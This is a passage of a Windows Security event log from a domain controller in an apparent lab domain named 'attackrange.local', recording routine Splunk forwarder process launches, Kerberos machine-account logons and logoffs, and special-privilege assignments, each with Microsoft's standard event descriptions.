Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:20:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255553
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x638
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:20:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255556
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd38
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:20:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255555
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10bc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:20:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255557
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe60
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:20:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255560
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x32AAAE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:20:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255559
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x32AAAE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		62718

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:20:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255558
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x32AAAE

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:21:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255561
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb28
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:21:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255562
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1020
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:21:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255564
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf88
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:21:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255563
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x880
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:21:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255566
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3a8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:21:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255565
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1224
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:21:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255567
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x39c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:21:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255569
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x32D581
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{1315B027-D61C-A152-E46C-74A6DCC39304}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62724

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:21:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255568
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x32D581

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:21:30 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255571
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		ATTACKRANGE\WIN-DC-725$
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x32DD03
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{68513207-EE9F-7088-7C79-4A7797658EB5}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:21:30 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255570
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\WIN-DC-725$
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x32DD03

Privileges:		SeAuditPrivilege
			SeImpersonatePrivilege
			SeAssignPrimaryTokenPrivilege
03/12/2021 12:21:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255572
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x32D581

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:21:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255575
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x32E78D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:21:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255574
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x32E78D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		64537

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:21:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255573
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x32E78D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:22:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255581
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x32EA4F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:22:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
